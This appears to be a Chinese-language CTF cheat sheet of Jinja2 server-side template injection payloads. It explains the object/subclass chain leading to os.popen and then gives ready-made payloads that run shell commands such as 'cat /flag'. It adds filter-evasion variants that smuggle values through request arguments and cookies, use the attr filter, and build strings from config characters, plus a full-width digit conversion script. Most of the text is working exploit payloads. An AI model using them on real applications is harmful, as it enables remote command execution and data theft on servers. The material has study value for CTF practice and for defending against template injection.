用来打Jinja2的一些常用Payload
基本流程
寻找基类
- 寻找Object类
解释:在python中,object类是Python中所有类的基类,如果定义一个类时没有指定继承哪个类,则默认继承object类。
常用payload:{{().__class__.__mro__[-1]}}
(__class__
这个获得到str类,mro获得基类列表,这里选的-1就是object这个类)__base__
类型对象的直接基类
__bases__
类型对象的全部基类,以元组形式,类型的实例通常没有属性 bases
(用这个base也行)
寻找子类
- 由Object类找子类列表
常用payload:
{{().__class__.__mro__[1].__subclasses__()}}
__subclasses__()
返回这个类的子类集合,每个类都保留一个对其直接子类的弱引用列表。该方法返回一个列表,其中包含所有仍然存在的引用。列表按照定义顺序排列。
寻找特定类
- 由子类列表找特定类
payload示例:
{{"".__class__.__mro__[-1].__subclasses__()[132]}}
<class 'os._wrap_close'>
经过探索发现,这个类有个popen方法可以执行系统命令,是第133个类,这里就用132来选中
实例化特定类
- 由特定类实例化特定类对象
payload示例:
{{"".__class__.__mro__[-1].__subclasses__()[132].__init__}}
寻找方法
- 由类对象得到方法列表
payload示例:
{{"".__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__}}
__globals__
使用方式是 function__globals__
获取function所处空间下可使用的module、方法以及所有变量。
调用方法
- 根据方法寻找flag
payload示例:
{{().__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}
popen()一个方法,用于执行命令。
read() 从文件当前位置起读取size个字节,若无参数size,则表示读取至文件结束为止,它范围为字符串对象
常用恶意类
Python(Jinajia2)
具有 builtins 的类
1 | <class '_frozen_importlib._ModuleLock'> |
文件读取类
1 | <class 'file'> |
具有import的类
1 | <class '_frozen_importlib._ModuleLock'> |
常用Payload
Python(Jinja2)
__globals__
的使用
- 原始版本:
{{url_for.__globals__.__builtins__.eval("__import__('os').popen('cat /flag').read()")}}
{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")}}
{{i.__init__.__globals__['popen']('ls').read()}}
(这里的url_for可以换成lsbuim/get_flashed_message这样已经实例化出来的函数对象)
(也可以直接通过子类爆破的方法,找到相关函数类,实例化出函数对象)
(这里的i是os的实例化对象,具体一点的话,是os_wrap_close类)
常用绕过技巧
点号被过滤
{{url_for['__globals__']['__builtins__']['eval']("__import__('os').popen('cat /flag').read()"}}
(这个形式和[__global__
的原始使用] 第一条是对应的)括号内容被过滤(比如双引号)
?name={{url_for[request.args.x1][request.args.x2][request.args.x3](request.args.x4)}}&x1=__globals__&x2=__builtins__&x3=eval&x4=__import__('os').popen('cat /flag').read()
?name={{url_for[request.cookie.x1][request.cookie.x2][request.cookie.x3](request.cookie.x4)}}
#args也被过滤了用中括号被过滤
?name={{url_for.__globals__.os.popen(request.cookies.c).read()}}
离谱了,查了一查,url_for的命名空间里面本来就有os,搞不懂前面还要这么麻烦下划线被过滤
?name={{(lipsum|attr(request.cookies.x1)).os.popen('cat /flag')}}
?name={{(x|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3))(request.cookies.x4).eval(request.cookies.x5)}}
x1=__init__;x2=__globals__;x3=__getitem__;x4=__builtins__;x5=__import__('os').popen('cat /flag').read()
attr是Jinja2内置的一个过滤器,它可以获取一个对象的属性或方法{{lipsum|attr(‘upper’)}}会调用lipsum.upper()方法
attr和getitem的区别
- attr是用来访问属性的,getitem是用来访问元素的,后者是包含关系,前者是矛盾载体和矛盾的关系双大括号被过滤
payload:
?name={%print(((lipsum|attr(request.cookies.x1)|attr(request.cookies.x2))(request.cookies.x3)|attr(request.cookies.x4)(request.cookies.x5)).read())%}
x1=__globals__;x2=__getitem__;x3=os;x4=popen;x5=cat /flag
request被过滤
基本原理: 利用config来构造字符串
1 | import requests |
得到通用payload如下:
1 | ?name={%print(((lipsum|attr((config|string|list).pop(74).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(6).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(2).lower()~(config|string|list).pop(33).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(42).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(74).lower())|attr((config|string|list).pop(74).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(6).lower()~(config|string|list).pop(10).lower()~(config|string|list).pop(23).lower()~(config|string|list).pop(5).lower()~(config|string|list).pop(23).lower()~(config|string|list).pop(10).lower()~(config|string|list).pop(157).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(74).lower()))((config|string|list).pop(2).lower()~(config|string|list).pop(42).lower())|attr((config|string|list).pop(17).lower()~(config|string|list).pop(2).lower()~(config|string|list).pop(17).lower()~(config|string|list).pop(10).lower()~(config|string|list).pop(3).lower())((config|string|list).pop(1).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(23).lower()~(config|string|list).pop(7).lower()~(config|string|list).pop(279).lower()~(config|string|list).pop(4).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(6).lower())).read())%} |
- 数字被过滤
半角数字绕过
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17//半角全角转换脚本
def half2full(half):
full = ''
for ch in half:
if ord(ch) in range(33, 127):
ch = chr(ord(ch) + 0xfee0)
elif ord(ch) == 32:
ch = chr(0x3000)
else:
pass
full += ch
return full
t=''
s="0123456789"
for i in s:
t+='\''+half2full(i)+'\','
print(t)
payload如下
1 | ?name={%print(((lipsum|attr((config|string|list).pop(74).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(6).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(2).lower()~(config|string|list).pop(33).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(42).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(74).lower())|attr((config|string|list).pop(74).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(6).lower()~(config|string|list).pop(10).lower()~(config|string|list).pop(23).lower()~(config|string|list).pop(5).lower()~(config|string|list).pop(23).lower()~(config|string|list).pop(10).lower()~(config|string|list).pop(157).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(74).lower()))((config|string|list).pop(2).lower()~(config|string|list).pop(42).lower())|attr((config|string|list).pop(17).lower()~(config|string|list).pop(2).lower()~(config|string|list).pop(17).lower()~(config|string|list).pop(10).lower()~(config|string|list).pop(3).lower())((config|string|list).pop(1).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(23).lower()~(config|string|list).pop(7).lower()~(config|string|list).pop(279).lower()~(config|string|list).pop(4).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(6).lower())).read())%} |